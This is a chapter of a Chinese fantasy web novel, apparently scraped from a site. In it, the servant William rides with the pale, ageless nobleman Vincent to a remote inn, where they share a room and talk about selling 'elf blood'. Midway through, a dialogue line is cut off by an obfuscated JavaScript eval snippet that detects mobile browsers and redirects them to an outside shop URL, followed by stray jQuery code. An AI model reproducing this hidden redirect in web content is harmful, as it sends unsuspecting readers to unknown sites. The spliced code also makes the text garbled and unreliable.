文森说要准备四天的行李，他去精怪集市进完货，会直接去拍卖会。
秘密，不得外传。
晚上去了哪里，见到了什么，不能说。
车夫位置坐着一个矮小的男人，毛毡帽压住半个额头，两只眼睛埋在深深的褶子里，像个皱皮橘子。
马车后的行李架偏窄，威廉把两个重木箱填在底层，让装衣服的皮革箱压在上面，捆紧牛皮绳。车夫在马车前探出半个头，针扎般的目光盯得威廉毛骨悚然。
见文森来了，男人跳下车架，迅速露出副谄媚模样，皱纹被笑容挤作一堆，踮脚替贵族打开车厢门。文森没有扶男人伸出的手，等他坐稳后，男人又轻手轻脚关上门，爬到车夫座。
威廉盖严实油布，把袖口挽至小臂，抬手擦拭额角的汗。
照理说，他得坐在车夫座。
但这男人，也在车夫座。
威廉只能在他旁边坐下。那人抬头看了他一眼，表情不算友善。
男人甚至没到他肩膀，像个畸形人，看脸足有五六十岁。两个人挤在驾驶位，威廉个头高，一米九多，双手抱臂缩在左侧，防止挨到他。
不会要和这个阴恻恻的怪人坐一路吧……威廉不禁汗颜。
“进来。”车厢里传来文森的声音。
威廉果断钻到车厢。
只是便捷的短途马车，不算宽敞，里头有股木质的熏香味。文森坐在靠里的位置。威廉矮身坐到和他一侧的沙发，拉上车门。
文森半阖着眼，往嘴里塞了一颗糖衣杏仁。
他看起来似乎格外困，小口咀嚼，没任何吩咐。
“先生昨晚没休息好？”威廉从暗格里取出一条羊毛绒毯，盖在文森膝上。
“没事。”文森浅浅打了个哈欠。
窗外传来两记鞭声，两匹白马开始往前跑，逐渐平稳前行。
威廉还是问出：“外面那位我好像没在府里见过。”
“他知道路线，嘴巴很严。”文森说。
去所谓的精怪集市？威廉对这部分没什么印象。无论是关于集市还是关于拍卖会，小时候文森吓唬他说多问会掉光牙齿，一直不敢关心。
他只知道文森每年会固定外出一次，不带任何仆人，然后满载而归。
但让老头子驾车也太不安全了。
看起来提不动东西，行李箱能拖地上，除非他放在脑袋上扛。
“我嘴巴也很严。”威廉争取了一句。
“他是哑巴。”文森回道。
“……哦。”
威廉悻悻闭嘴。
窗外的树一棵接一棵退远，临城门的碎石子路难走，出了黑柏林，车轮像在干裸坑凹的泥土上滚。
连树都没得看了，只有乱七八糟的灌木丛。
从纱帘缝隙吹来的风混着一股草味。威廉不再看窗外，盯着正前方的提花丝绸，只敢偷偷瞥一眼身旁的文森。
文森闭着眼，亮红外套衬得一张脸毫无血色，要不是从认识时他就这样，威廉一定会以为他病了。他双手交叠放在膝上，肩靠着车厢壁，长睫底下有浅淡的青色，卸了笑容的脸色格外疲惫。
这条路偏僻荒芜，连鸟叫都没有，车厢随行动缓慢摇晃，只留银窗环轻微的剐蹭声。
车轮硌过块小石子，文森脑袋向前栽了下，轻蹙眉头，紧绷着手臂坐稳身，片刻又靠着侧边松懈下来。
睡着了吗？
这样的话，睡一路脖子会很疼吧。
威廉思量再三，往里挪了挪，伸手托住文森微斜的肩，免得再磕到车壁。
文森身子睡软般歪过来，靠在他身上。
肩头忽然一沉，威廉下意识放轻呼吸。
“……先生？”
文森似乎毫无察觉，像找到了舒适的软垫，靠稳后传来匀称呼吸。
贵族柔软的发丝蹭着他，凑得过近了，淡淡的玫瑰味萦绕在鼻腔，威廉只觉得紧挨的脖侧发热发痒。
被压在身后的手无处安放，搭在肩上太奇怪，搭在腰上更是逾矩。
他僵了许久，只将膝上的绒毯上提，盖住他的小臂。落日的光透过纱帘斑驳打在文森身上，光点一摇一晃。
不知道还有多远，威廉一路撑着肩膀，直到夜幕拢下来，车厢里没了光，马匹在看不见尽头的浓黑里奔跑。
车夫避开岔出的横木，紧贴着车厢的叶片细枝不断刮娑蕾丝纱帘，就像在一团灌木里缓慢往前钻，噪声不大，格外唬人。威廉护住文森，两人往沙发中间挪了挪，以防窜出一根长刺。
车厢外枝叶渐少，照来稀薄的光，最终停稳。
威廉看了眼车外。
参天高树将圆月切碎，只留下可怜几道光。雾气沉沉在树根淤积，往前看有一盏昏黄的灯挂在高处。
是一家驿站。
车夫跳下车，皱皮脑袋贴到车窗边，往里望了一眼，看文森在休息，没多说话，自顾往车尾走去，往驿站搬行李。
晚上没办法再赶车，应该就是这里。
威廉轻轻叫他：“先生，到了。”
半晌，肩头的脑袋缓慢挪动，困倦地叹了口气，像没睡醒般。
等文森看清自己靠在别人身上，立刻坐直身，额角压出一道浅浅红印。
他捏了捏眉间，声音带着初醒的哑：“下车。把东西拿上。”
车厢门被打开，恰巧回来的矮小男人放下脚踏。外头格外潮湿阴冷，威廉去卸了最后两个箱子，快步跟在文森身后。
驿站里头还算光亮，木地板踩上去吱呀作响，角落遍布苔藓和水痕，霉印往墙壁上爬。几个瘦高的人在长桌处喝酒，过长的脖子像枯竹杆。那老头没跟进来，行李往角落一放，消失在黑夜里。
“之前预定的，两间上房。”威廉拿出预约信纸。
老板挑着细长眉毛，圆粗的手指拆开信封，眯眼读字。紧接着，他翻开一边发黄的笔记本，低头核对良久，才开口：“一间房。记录上只订了一间房，汉姆先生，对吗？”
是熟人名字，以利府的男仆，威廉常和他打交道。
估计订的时候没想到会多一个人，威廉道：“加一间房。”
“抱歉，小店客满了，连最次的下等房都没有。”老板羽毛笔划了一记，把信纸夹进本子里，“你知道的，现在是旺季。”
“多加一金的话，可以收拾出马厩上楼给佣人住。”
威廉眉毛一挑。
黑店，前不着村后不着店的黑店。
睡马厩要一金？！在这里订一个月都不要一金！
“怎么样？要不要？”老板从柜子里取出一大串钥匙，从铜环上拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764285|209643||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下一枚，放在桌上。
威廉看了一眼文森，文森已经轻车熟路往楼梯走了。
“那……”威廉犹豫。
马厩睡一夜一金就飘走了。对文森来说，一金不痛不痒，但让他从口袋里拿出来还是有点肉疼的，虽然能报销。
文森见威廉还在前台纠结，喊了句：“一晚上而已，过来。”
威廉会意拿了钥匙，拎起箱子跟上。
楼梯倒比预想的结实，踩上去没有怪声，房间在三楼，威廉打开房门，里头不算大，地板没有积灰，墙壁也没有发霉，壁烛台提前点亮了，室内泛着暖黄色的光。
他把皮革箱放在门口的地上，下楼把那两个木箱搬上来。文森已经把外套挂在了衣帽架，翻开皮革箱，找出件睡衣。
普通的单人床，不宽，只够睡一个人。
“我睡地板。”威廉关上门，把行李整理好。
文森颔首。
柜子里有多余的被子，威廉抱下两床，放在床边的地上，规整铺开。用膝盖跪了一下，棉絮还算厚，应该不会太硌人。
“我们明天去买什么？”威廉随口问。
“精灵血。”文森声音不大，“这个卖得最好。”
威廉迟疑：“……假货吗？”
文森听完笑了两声：“你还挺聪明的。”
“不完全吧。我给它换了个好卖的名字，你知道的，有钱人喜欢猎奇的东西。”文森道，“一瓶，容光焕发，三瓶，青春永驻。”
真有这种东西？
威廉从没听过，不过好像自进府时文森就在干这行，如果是糖水安慰剂一样的假货，也卖不了这么多年。
“可是……”他刚想追问些什么，习惯性回头。
文森背对着他坐在床边，贴身衬衫脱了一半，露出半个瘦削肩头，正在换睡衣。
“……”
威廉又把脑袋转回去。
身后传来细微的衣料摩擦声，接着听见短靴放在地面的两声啪嗒。
见许久没有后文，文森问：“什么？”
“就是……呃。”威廉拍拍膝盖站起身，不敢回头，去柜子里拿枕头，语气支吾，“青春永驻，药水就能做到吗？”
“当然有代价。”文森的语气轻飘飘，带着不易察觉的笑意。
“活得年轻，死得早。”他说。
威廉一时沉默。
他把枕头放在地上，问道：“真会有人买？”
“卖不过来。”文森的声音已经闷在被子里。
威廉看着他，那人显然已经要陷入梦乡了，绒被盖住半张脸。他吹灭烛台，轻手轻脚脱掉鞋子和衣物，叠在脚边，躺进地铺。
废了一天的肩背终于有时间松懈。
真有人愿意为了青春永驻而甘愿早死吗，早死多久？五十岁？四十岁？
他不太确定文森是不是又在吓唬他，他总是喜欢用华丽的词藻包装一个普通东西，像商人的职业病，爱摆弄他的银舌头。
威廉偏头，只能看见文森散下的一小缕银发，垂在床边。
八岁就在以利府做工了，那时文森已经是黑柏林的子爵，名声大噪。如今一晃十四年。
他……
连一条皱纹都没有新增，同样的眉眼，同样的语调。
他老过吗？